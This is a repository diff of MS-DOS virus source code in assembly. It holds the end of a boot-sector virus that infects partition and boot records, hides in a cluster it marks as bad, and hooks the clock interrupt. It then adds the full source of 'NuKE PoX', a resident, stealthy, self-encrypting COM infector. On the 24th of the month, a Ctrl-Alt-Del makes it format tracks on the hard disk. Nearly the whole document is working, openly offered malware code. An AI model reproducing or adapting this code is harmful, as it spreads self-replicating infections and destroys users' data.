|
||||
|
||||
; DISK INSTALLATION
|
||||
|
||||
DISK_INSTALL:
|
||||
MOV AX,201H ; READ ONE SECTOR
|
||||
MOV DH,0 ; HEAD NUMBER 0
|
||||
MOV CX,1 ; TRACK 0, SECTOR 1
|
||||
CALL BRING_IN ; READ FIRST SECTOR FROM DISK
|
||||
TEST LSTDRV,80H ; TEST FOR HARD DRIVE
|
||||
JZ FAT_CHECK ; BRANCH IF NOT
|
||||
|
||||
; HARD DISK - PARTITION TABLE
|
||||
|
||||
MOV SI,81BEH ; ADDRESS TO PARTITION TABLE
|
||||
MOV CX,4 ; NUMBER OF ENTRIES IN TABLE
|
||||
NEXT_PART_ENTRY:
|
||||
CMP BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
|
||||
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
|
||||
CMP BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
|
||||
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
|
||||
ADD SI,10H ; ADDRESS TO NEXT ENTRY
|
||||
LOOP NEXT_PART_ENTRY ; LOOP THROUGH TABLE
|
||||
RET
|
||||
|
||||
; HARD DISK - GET BOOT RECORD
|
||||
|
||||
SNARF_UP_THE_BOOT:
|
||||
MOV DX,[SI] ; GET HEAD NUMBER OF BOOT
|
||||
MOV CX,[SI+2] ; GET TRACK AND SECTOR OF BOOT
|
||||
MOV AX,201H ; READ ONE SECTOR
|
||||
CALL BRING_IN ; GET BOOT SECTOR FOR PARTITION
|
||||
|
||||
; BOOT SECTOR PROCESSING
|
||||
|
||||
FAT_CHECK:
|
||||
MOV SI,8002H ; ADDRESS TO BPB SOURCE
|
||||
MOV DI,7C02H ; ADDRESS TO BPB TARGET
|
||||
MOV CX,1CH ; LENGTH OF BPB
|
||||
REPZ MOVSB ; COPY BPB
|
||||
CMP LATER3,1357H ; IS VIRUS INSTALLED ALREADY
|
||||
JNZ WHERE_BE_THE_FAT ; BRANCH IF NOT
|
||||
CMP LATER2,0
|
||||
JNB HEAD_EM_OUT
|
||||
MOV AX,FSTCLS ; GET SECTOR NO OF FIRST CLUSTER
|
||||
MOV CURCLS,AX ; SAVE IT
|
||||
MOV SI,REMAI2
|
||||
JMP PLACE_VIRUS
|
||||
|
||||
HEAD_EM_OUT: RET
|
||||
|
||||
; CALCULATE LOCATION OF FAT AND FIRST CLUSTER
|
||||
|
||||
WHERE_BE_THE_FAT:
|
||||
CMP BIPSEC,200H ; SECTOR SIZE 512
|
||||
JNZ HEAD_EM_OUT ; EXIT IF DIFFERENT SIZE
|
||||
CMP ALCSEC,2 ; SECTORS PER CLUSTER
|
||||
JB HEAD_EM_OUT ; EXIT IF LESS THAN 2
|
||||
MOV CX,VERVED ; GET RESERVED SECTORS
|
||||
MOV AL,RUMNUM ; NUMBER OF FATS
|
||||
CBW ; FILL OUT REGISTER
|
||||
MUL FASNUM ; SECTORS PER FAT
|
||||
ADD CX,AX ; SECTOR OF ROOT DIR
|
||||
MOV AX,20H ; LENGTH OF DIR ENTRY
|
||||
MUL ROTRID ; NUMBER OF DIR ENTRIES
|
||||
ADD AX,1FFH ; ROUND UP TO WHOLE SECTORS
|
||||
MOV BX,200H ; LENGTH OF SECTOR
|
||||
DIV BX ; SECTORS OF ROOT DIR
|
||||
ADD CX,AX ; SECTOR OF FIRST CLUSTER
|
||||
MOV CURCLS,CX ; SAVE THIS
|
||||
MOV AX,SECNUM ; GET NUMBER OF SECTORS
|
||||
SUB AX,CURCLS ; SUBTRACT NON-DATA SECTORS
|
||||
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
|
||||
XOR DX,DX
|
||||
XOR BH,BH ; CLEAR TOP OF REGISTER
|
||||
DIV BX ; CALCULATE NUMBER OF CLUSTERS
|
||||
INC AX ; ALLOW FOR NUMBER ONE NOT USED
|
||||
MOV DI,AX
|
||||
AND SWITCH,0FBH ; SET OFF 16-BIT FAT SWITCH
|
||||
CMP AX,0FF0H ; SEE IF 12-BIT FAT
|
||||
JBE WRITE_FAT ; BRANCH IF YES
|
||||
OR SWITCH,4 ; SET ON 16-BIT FAT SWITCH
|
||||
WRITE_FAT:
|
||||
MOV SI,1 ; INITIALISE FAT ENTRY COUNT
|
||||
MOV BX,SECRES ; GET RESERVED SECTORS
|
||||
DEC BX ; ALLOW FOR ADDITION
|
||||
MOV CURFAT,BX ; SAVE CURRENT FAT SECTOR
|
||||
MOV PRCFAT,0FEH ; SET PROCESSED FAT LENGTH TO -2
|
||||
JMP SHORT READ_FAT
|
||||
|
||||
; DATA AREA
|
||||
|
||||
DW 2 ; CURFAT - CURRENT FAT SECTOR
|
||||
DW 12 ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
|
||||
DB 1 ; SWITCH - SWITCHES
|
||||
; - 01H - NESTED INTERRUPT
|
||||
; - 02H - TIMER INTERRUPT INSTALLED
|
||||
; - 04H - 16-BIT FAT
|
||||
DB 0 ; LSTDRV - DRIVE LAST USED
|
||||
DW 02B8H ; REMAIN - SECTOR NUMBER OF REST OF CODE
|
||||
DB 0 ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
|
||||
DW 1357H, 0AA55H ; FLAG01 - FLAG FIELD.
|
||||
|
||||
; END OF FIRST SECTOR, START OF SECOND
|
||||
|
||||
; SEARCH FAT FOR UNUSED CLUSTER
|
||||
|
||||
READ_FAT:
|
||||
INC CURFAT ; ADDRESS TO NEXT FAT SECTOR
|
||||
MOV BX,CURFAT ; GET NEXT SECTOR NUMBER
|
||||
ADD PRCFAT,2 ; ADD TO PROCESSED FAT LENGTH
|
||||
CALL READ_IT_IN ; READ FAT SECTOR
|
||||
JMP SHORT GET_EM_NEXT
|
||||
|
||||
FAT_SWITCH:
|
||||
MOV AX,3 ; LENGTH OF TWO FAT ENTRIES
|
||||
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
|
||||
JZ FAT_ENTRY ; BRANCH IF OFF
|
||||
INC AX ; FOUR BYTES NOT THREE
|
||||
FAT_ENTRY:
|
||||
MUL SI ; MULTIPLY BY FAT ENTRY NUMBER
|
||||
SHR AX,1 ; DIVIDE BY TWO
|
||||
SUB AH,PRCFAT ; SUBTRACT PROCESSED FAT LENGTH
|
||||
MOV BX,AX ; COPY DISPLACEMENT
|
||||
CMP BX,1FFH ; SEE IF IN THIS SECTOR
|
||||
JNB READ_FAT ; BRANCH IF NOT
|
||||
MOV DX,[BX+8000H] ; GET ENTRY
|
||||
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
|
||||
JNZ F_TEST_1 ; BRANCH IF ON
|
||||
MOV CL,4 ; POSITIONS TO MOVE
|
||||
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
|
||||
JZ FAT_TOP ; BRANCH IF NOT
|
||||
SHR DX,CL ; SHIFT EVEN ENTRY INTO POSITION
|
||||
FAT_TOP:
|
||||
AND DH,0FH ; SWITCH OFF TOP BITS
|
||||
F_TEST_1:
|
||||
TEST DX,0FFFFH ; TEST ALL BITS
|
||||
JZ MAKE_BAD ; BRANCH IF NONE ON
|
||||
GET_EM_NEXT:
|
||||
INC SI ; NEXT FAT ENTRY
|
||||
CMP SI,DI ; HAS LAST ENTRY BEEN PROCESSED
|
||||
JBE FAT_SWITCH ; BRANCH IF NOT
|
||||
RET
|
||||
|
||||
; SPARE CLUSTER FOUND - INSTALL ON DISK
|
||||
|
||||
MAKE_BAD:
|
||||
MOV DX,0FFF7H ; LOAD BAD SECTOR MARKER
|
||||
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
|
||||
JNZ FIND_SECTOR ; BRANCH IF ON
|
||||
AND DH,0FH ; CONVERT MARKER TO FF7H
|
||||
MOV CL,4 ; BITS TO MOVE
|
||||
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
|
||||
JZ FIND_SECTOR ; BRANCH IF NOT
|
||||
SHL DX,CL ; MOVE INTO POSITION
|
||||
FIND_SECTOR:
|
||||
OR [BX+8000H],DX ; PUT MARKER INTO FAT
|
||||
MOV BX,CURFAT ; GET SECTOR NUMBER
|
||||
CALL WRITE_IT_OUT ; WRITE FAT SECTOR
|
||||
MOV AX,SI ; GET ENTRY NUMBER
|
||||
SUB AX,2 ; SUBTRACT FIRST CLUSTER NUMBER
|
||||
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
|
||||
XOR BH,BH ; CLEAR TOP OF REGISTER
|
||||
MUL BX ; CONVERT TO SECTORS
|
||||
ADD AX,CURCLS ; ADD SECTOR NUMBER OF 1ST CLUSTER
|
||||
MOV SI,AX ; SAVE REAL SECTOR NUMBER
|
||||
MOV BX,0 ; SECTOR ZERO
|
||||
CALL READ_IT_IN ; READ BOOT SECTOR
|
||||
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
|
||||
INC BX ; ADDRESS TO NEXT SECTOR
|
||||
CALL WRITE_IT_OUT ; WRITE BOOT SECTOR TO STORE
|
||||
PLACE_VIRUS:
|
||||
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
|
||||
MOV REMAIN,SI ; SAVE SECTOR NO OF REST OF CODE
|
||||
PUSH CS ; \ GET CURRENT SEGMENT
|
||||
POP AX ; /
|
||||
SUB AX,20H ; ADDRESS BACK TO VIRUS (2)
|
||||
MOV ES,AX ; SET BUFFER ADDRESS
|
||||
CALL WRITE_IT_OUT ; WRITE VIRUS (2)
|
||||
PUSH CS ; \ GET CURRENT SEGMENT
|
||||
POP AX ; /
|
||||
SUB AX,40H ; ADDRESS BACK TO VIRUS (1)
|
||||
MOV ES,AX ; SET BUFFER ADDRESS
|
||||
MOV BX,0 ; SECTOR ZERO
|
||||
CALL WRITE_IT_OUT ; WRITE VIRUS (1)
|
||||
RET
|
||||
|
||||
DW 20CH ; LASTTM - SYSTEM TIME LAST CALLED
|
||||
DB 2 ; PRCFAT - PROCESSED FAT / 256
|
||||
|
||||
; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE
|
||||
|
||||
INTERRUPT_08:
|
||||
TEST SWITCH,2 ; TEST INT 8 INSTALLED SWITCH
|
||||
JNZ FINISH_TIME ; BRANCH IF ON
|
||||
OR SWITCH,2 ; SET ON INT 8 INSTALLED SWITCH
|
||||
MOV AX,0 ; \ SEGMENT ZERO
|
||||
MOV DS,AX ; /
|
||||
MOV AX,INT8OF ; SAVE INT 8 OFFSET
|
||||
MOV BX,INT8SG ; SAVE INT 8 SEGMENT
|
||||
MOV INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
|
||||
MOV INT8SG,CS ; NEW INT 8 SEGMENT
|
||||
PUSH CS ; \ SET DS EQUAL TO CS
|
||||
POP DS ; /
|
||||
MOV ORG08O,AX ; STORE OLD INT 8 OFFSET
|
||||
MOV ORG08S,BX ; STORE OLD INT 8 SEGMENT
|
||||
FINISH_TIME:
|
||||
RET
|
||||
|
||||
; INTERRUPT 10
|
||||
|
||||
DO_VIDEO:
|
||||
PUSH DS
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH CS ; \ SET DS EQUAL TO CS
|
||||
POP DS ; /
|
||||
MOV AH,0FH ; GET VDU PARAMETERS
|
||||
INT 10H ; VDU INTERRUPT
|
||||
MOV BL,AL ; VDU MODE
|
||||
CMP BX,MODEAP ; TEST MODE AND ACTIVE PAGE
|
||||
JZ CHARACTER_ATTRIB ; BRANCH IF UNCHANGED
|
||||
MOV MODEAP,BX ; SAVE MODE AND ACTIVE PAGE
|
||||
DEC AH ; VISIBLE COLUMNS
|
||||
MOV COLUMN,AH ; SAVE VISIBLE COLUMNS - 1
|
||||
MOV AH,1 ; GRAPHICS MODE SWITCH ON
|
||||
CMP BL,7 ; TEST FOR TELETYPE MODE
|
||||
JNZ IS_IT_GRAPHICS ; BRANCH IF NOT
|
||||
DEC AH ; GRAPHICS MODE SWITCH OFF
|
||||
IS_IT_GRAPHICS:
|
||||
CMP BL,4 ; TEST FOR GRAPHICS MODE
|
||||
JNB ROW_AND_COLUMN ; BRANCH IF GRAPHICS OR TELETYPE
|
||||
DEC AH ; GRAPHICS MODE SWITCH OFF
|
||||
ROW_AND_COLUMN:
|
||||
MOV GRAPHM,AH ; STORE GRAPHICS MODE SWITCH
|
||||
MOV ROWCOL,101H ; SET ROW AND COLUMN POSITIONS
|
||||
MOV ROWCLM,101H ; SET ROW AND COLUMN MOVEMENT
|
||||
MOV AH,3 ; GET CURSOR ADDRESS
|
||||
INT 10H ; VDU INTERRUPT
|
||||
PUSH DX ; SAVE CURSOR ADDRESS
|
||||
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
|
||||
JMP SHORT VIDEO_01
|
||||
|
||||
CHARACTER_ATTRIB:
|
||||
MOV AH,3 ; GET CURSOR ADDRESS
|
||||
INT 10H ; VDU INTERRUPT
|
||||
PUSH DX
|
||||
MOV AH,2 ; SET CURSOR ADDRESS
|
||||
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
|
||||
INT 10H ; VDU INTERRUPT
|
||||
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
|
||||
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
|
||||
JNZ WRITE_CHAR ; BRANCH IF NOT
|
||||
MOV AX,8307H ; CHARACTER AND WRITE MODE
|
||||
WRITE_CHAR:
|
||||
MOV BL,AH ; MOVE ATTRIBUTE OR WRITE MODE
|
||||
MOV CX,1 ; ONLY ONCE
|
||||
MOV AH,9 ; WRITE CHARACTER AND ATTRIBUTES
|
||||
INT 10H ; VDU INTERRUPT
|
||||
VIDEO_01:
|
||||
MOV CX,ROWCLM ; GET ROW AND COLUMN MOVEMENT
|
||||
CMP DH,0 ; IS ROW ZERO
|
||||
JNZ VIDEO_02 ; BRANCH IF NOT
|
||||
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
|
||||
INC CH ; /
|
||||
VIDEO_02:
|
||||
CMP DH,18H ; IS ROW 24
|
||||
JNZ VIDEO_04 ; BRANCH IF NOT
|
||||
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
|
||||
INC CH ; /
|
||||
VIDEO_04:
|
||||
CMP DL,0 ; IS COLUMN 0
|
||||
JNZ VIDEO_05 ; BRANCH IF NOT
|
||||
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
|
||||
INC CL ; /
|
||||
VIDEO_05:
|
||||
CMP DL,COLUMN ; IS COLUMN LAST VISIBLE COLUMN
|
||||
JNZ VIDEO_07 ; BRANCH IF NOT
|
||||
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
|
||||
INC CL ; /
|
||||
VIDEO_07:
|
||||
CMP CX,ROWCLM ; COMPARE ROW AND COLUMN MOVEMENT
|
||||
JNZ VIDEO_09 ; BRANCH IF CHANGED
|
||||
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
|
||||
AND AL,7 ; SWITCH OFF TOP BIT OF CHARACTER
|
||||
CMP AL,3 ; TEST BITS 1 AND 2
|
||||
JNZ VIDEO_08 ; BRANCH IF OFF
|
||||
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
|
||||
INC CH ; /
|
||||
VIDEO_08:
|
||||
CMP AL,5 ; TEST BITS 1 AND 3
|
||||
JNZ VIDEO_09 ; BRANCH IF OFF
|
||||
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
|
||||
INC CL ; /
|
||||
VIDEO_09:
|
||||
ADD DL,CL ; NEW COLUMN POSITION
|
||||
ADD DH,CH ; NEW ROW POSITION
|
||||
MOV ROWCLM,CX ; SAVE ROW AND COLUMN POSITIONS
|
||||
MOV ROWCOL,DX ; SAVE ROW AND COLUMN POSITIONS
|
||||
MOV AH,2 ; SET CURSOR ADDRESS
|
||||
INT 10H ; VDU INTERRUPT
|
||||
MOV AH,8 ; READ CHARACTER AND ATTRIBUTES
|
||||
INT 10H ; VDU INTERRUPT
|
||||
MOV CHARAT,AX ; SAVE CHARACTER AND ATTRIBUTES
|
||||
MOV BL,AH ; MOVE ATTRIBUTES
|
||||
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
|
||||
JNZ VIDEO_10 ; BRANCH IF NOT
|
||||
MOV BL,83H ; WRITE MODE FOR GRAPHICS
|
||||
VIDEO_10:
|
||||
MOV CX,1 ; ONCE ONLY
|
||||
MOV AX,907H ; WRITE CHARACTER AND ATTRIBUTES
|
||||
INT 10H ; VDU INTERRUPT
|
||||
POP DX ; RESTORE CURSOR ADDRESS
|
||||
MOV AH,2 ; SET CURSOR ADDRESS
|
||||
INT 10H ; VDU INTERRUPT
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POP DS
|
||||
DB 0EAH ; FAR JUMP TO ORIGINAL INT 8
|
||||
DW 0907H ; ORG08O - ORIGINAL INT 8 OFFSET
|
||||
DW 10BDH ; ORG08S - ORIGINAL INT 8 SEGMENT
|
||||
|
||||
DW 0720H ; CHARAT - CHARACTER AND ATTRIBUTES
|
||||
DW 1533H ; ROWCOL - ROW AND COLUMN POSITIONS
|
||||
DW 01FFH ; ROWCLM - ROW AND COLUMN MOVEMENT
|
||||
DB 0 ; GRAPHM - GRAPHICS MODE SWITCH
|
||||
DW 3 ; MODEAP - MODE AND ACTIVE PAGE
|
||||
DB 4FH ; DW7FD6 - VISIBLE COLUMNS - 1
|
||||
|
||||
|
||||
DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
|
||||
DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
|
||||
DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
|
||||
DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
|
||||
DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H
|
||||
|
||||
; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE
|
||||
|
||||
CODE ENDS
|
||||
|
||||
END START
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
--
|
||||
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
|
||||
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
|
||||
Student at the Northeatstern University College of Computer Science
|
||||
"I Can't Believe It's Not Butter"
|
||||
|
344
MSDOS/Virus.MSDOS.Unknown.pox.asm
Normal file
344
MSDOS/Virus.MSDOS.Unknown.pox.asm
Normal file
@ -0,0 +1,344 @@
|
||||
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
;-* (c) Rock Steady, Viral Developments -*
|
||||
;*- (c) NuKE Software Developement 1991, 1992 *-
|
||||
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
|
||||
;*- ~~~~~~ *-
|
||||
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
|
||||
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
|
||||
;-* Encrypted Copies of the Virus) -*
|
||||
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
crypt_size equ crypt - init_virus ;All that gets Incrypted
|
||||
virus_size equ last - init_virus ;Size of the Virus
|
||||
mut1 equ 3
|
||||
mut2 equ 1
|
||||
mut3 equ 103h
|
||||
del_code equ 53h ;CTRL-ATL-DEL Key
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
org 100h
|
||||
rocko proc far
|
||||
|
||||
start: jmp init_virus ;+3 bytes
|
||||
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
|
||||
call doit_now ;Doit VirusMan... ;+3 Bytes
|
||||
;========
|
||||
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
|
||||
sub bp,109h ;have to be added to the 100h! This
|
||||
push ax ;SETs our `Delta Pointer'.
|
||||
push bx
|
||||
push cx
|
||||
push dx ;Save registers
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax,0abcdh ;Are we resident Already?
|
||||
int 21h
|
||||
cmp bx,0abcdh ;Yupe... Quit Then...
|
||||
je exit_com
|
||||
|
||||
push cs ;Get CS=DS
|
||||
pop ds
|
||||
mov cx,es
|
||||
|
||||
mov ax,3509h ;Hook Int 9 Please...
|
||||
int 21h
|
||||
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
|
||||
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
|
||||
|
||||
mov ax,3521h ;Some AVs may INTCEPT this Call!
|
||||
int 21h ;May be better to go Manually...
|
||||
mov word ptr cs:[int21+2][bp],es ;Save the Int
|
||||
mov word ptr cs:[int21][bp],bx ;Vector Table
|
||||
|
||||
dec cx ;Get a new Memory block
|
||||
mov es,cx ;Put it Back to ES
|
||||
mov bx,es:mut1
|
||||
mov dx,virus_size+virus_size ;Size to `Hide'
|
||||
mov cl,4 ;And all this crap hides
|
||||
shr dx,cl ;your number of bytes in DX
|
||||
add dx,4
|
||||
mov cx,es
|
||||
sub bx,dx
|
||||
inc cx
|
||||
mov es,cx
|
||||
mov ah,4ah ;Call int to do it...
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
mov ah,48h
|
||||
dec dx
|
||||
mov bx,dx ;It's Done... Yeah!
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov cx,8h ;Here we move our Virus into
|
||||
mov es:mut2,cx ;the `Hidden' memory!
|
||||
sub ax,0fh
|
||||
mov di,mut3
|
||||
mov es,ax
|
||||
mov si,bp
|
||||
add si,offset init_virus
|
||||
mov cx,virus_size
|
||||
cld
|
||||
repne movsb
|
||||
|
||||
mov ax,2521h ;Restore Int21 with ours
|
||||
mov dx,offset int21_handler ;Where it starts
|
||||
push es
|
||||
pop ds
|
||||
int 21h
|
||||
|
||||
mov ax,2509h ;Restore Int9 with ours
|
||||
mov dx,offset int9_handler ;The Handler...
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
exit_com:
|
||||
mov bx,offset buffer ; Its a COM file restore
|
||||
add bx,bp ; First three Bytes...
|
||||
mov ax,[bx] ; Mov the Byte to AX
|
||||
mov word ptr ds:[100h],ax ; First two bytes Restored
|
||||
add bx,2 ; Get the next Byte
|
||||
mov al,[bx] ; Move the Byte to AL
|
||||
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
|
||||
pop ds
|
||||
pop es
|
||||
pop bp ; Restore Regesters
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,100h ; Jump Back to Beginning
|
||||
push ax ; Restores our IP (a CALL
|
||||
retn ; Saves them, now we change
|
||||
int21 dd ? ;Our Old Int21
|
||||
int9 dd ? ;Our Old Int9
|
||||
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int9_handler:
|
||||
push ax
|
||||
in al,60h ;Has the user attempted a
|
||||
cmp al,del_code ;CTRL-ALT-DEL
|
||||
je warm_reboot ;Yes! Screw him
|
||||
bye_bye: pop ax
|
||||
jmp dword ptr cs:[int9] ;Nope, Leave alone
|
||||
warm_reboot:
|
||||
mov ah,2ah ;Get Date Please
|
||||
int 21h
|
||||
cmp dl,18h ;Is it 24th of the Month?
|
||||
jne bye_bye ;Yes, bye_Bye HD
|
||||
mov ch,0
|
||||
hurt_me: mov ah,05h
|
||||
mov dh,0
|
||||
mov dl,80h ;Formats a few tracks...
|
||||
int 13h ;Hurts So good...
|
||||
inc ch
|
||||
cmp ch,20h
|
||||
loopne hurt_me
|
||||
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
|
||||
iret
|
||||
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
dir_handler:
|
||||
pushf
|
||||
push cs
|
||||
call int21call ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected ;Not for us man...
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,1dh ;Is in 58 seconds?
|
||||
jnz not_infected ;Nope...
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],virus_size ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int21_handler:
|
||||
cmp ax,4b00h ;File executed
|
||||
je execute
|
||||
cmp ah,11h ;Dir handler
|
||||
je dir_handler
|
||||
cmp ah,12h ;Next file Dir handler
|
||||
je dir_handler
|
||||
cmp ax,0abcdh ;Virus testing
|
||||
jne int21call
|
||||
mov bx,0abcdh
|
||||
int21call:
|
||||
jmp dword ptr cs:[int21] ;Split...
|
||||
ret
|
||||
execute:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax,4300h ;Get file Attribs
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
test cl,1h ;Make sure there normal
|
||||
jz open_file ;Okay there are
|
||||
and cl,0feh ;Nope, Fix them...
|
||||
mov ax,4301h ;Save them now
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
open_file: mov ax,3D02h
|
||||
int 21h ;Open File to Infect please
|
||||
|
||||
jc exit ;Error Split
|
||||
mov bx,ax ;BX File handler
|
||||
mov ax,5700h ;Get file TIME + DATE
|
||||
int 21h
|
||||
|
||||
mov al,cl
|
||||
or cl,1fh ;Un mask Seconds
|
||||
dec cx ;60 seconds
|
||||
dec cx ;58 seconds
|
||||
xor al,cl ;Is it 58 seconds?
|
||||
jz exit ;File already infected
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr ds:[old_time],cx ;Save Time
|
||||
mov word ptr ds:[old_date],dx ;Save Date
|
||||
|
||||
mov ah,3Fh
|
||||
mov cx,3h
|
||||
mov dx,offset ds:[buffer] ;Read first 3 bytes
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
mov ax,4202h ;Move file pointer to end
|
||||
xor cx,cx ;of file...
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
|
||||
je exit ;Yupe! Split
|
||||
mov cx,ax
|
||||
sub cx,3 ;Set the JMP
|
||||
mov word ptr cs:[jump_address+1],cx
|
||||
call infect_me ;Infect!
|
||||
jc exit_now ;error split
|
||||
mov ah,40h ;Write back the first 3
|
||||
mov dx,offset ds:[jump_address] ;bytes
|
||||
mov cx,3h
|
||||
int 21h
|
||||
exit_now:
|
||||
mov cx,word ptr cs:[old_time] ;Restore old time
|
||||
mov dx,word ptr cs:[old_date] ;Restore Old date
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h ;Close File now...
|
||||
exit:
|
||||
pop ds
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr cs:[int21] ;Jmp back to whatever
|
||||
rocko endp
|
||||
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
infect_me proc near
|
||||
mov ah,2ch ;Get Time
|
||||
int 21h
|
||||
push dx ;Split seconds to AX
|
||||
pop ax
|
||||
mov byte ptr cs:[value],al ;AL = 0 to 99
|
||||
;New Encryption Value
|
||||
mov cx,virus_size
|
||||
push cs
|
||||
pop es ;Copy ANOTHER copy of the
|
||||
mov si,offset init_virus ;Virus to the end of us
|
||||
mov di,offset last
|
||||
repne movsb
|
||||
|
||||
mov cx,crypt_size
|
||||
sub cx,3h ;Encrypt that 2nd copy!
|
||||
push bp
|
||||
mov bp,offset last + 3h
|
||||
call decrypt_encrypt
|
||||
pop bp
|
||||
|
||||
mov ah,40h ;Write the New Encrypted
|
||||
mov dx,offset last ;Virus to File!
|
||||
mov cx,virus_size
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Error Split
|
||||
mov ax,4200h
|
||||
xor cx,cx ;Pointer back to beginning
|
||||
xor dx,dx ;file!
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Split Dude...
|
||||
clc ;Clear carry flag
|
||||
retn
|
||||
exit_error:
|
||||
stc ;Set carry flag
|
||||
retn
|
||||
infect_me endp
|
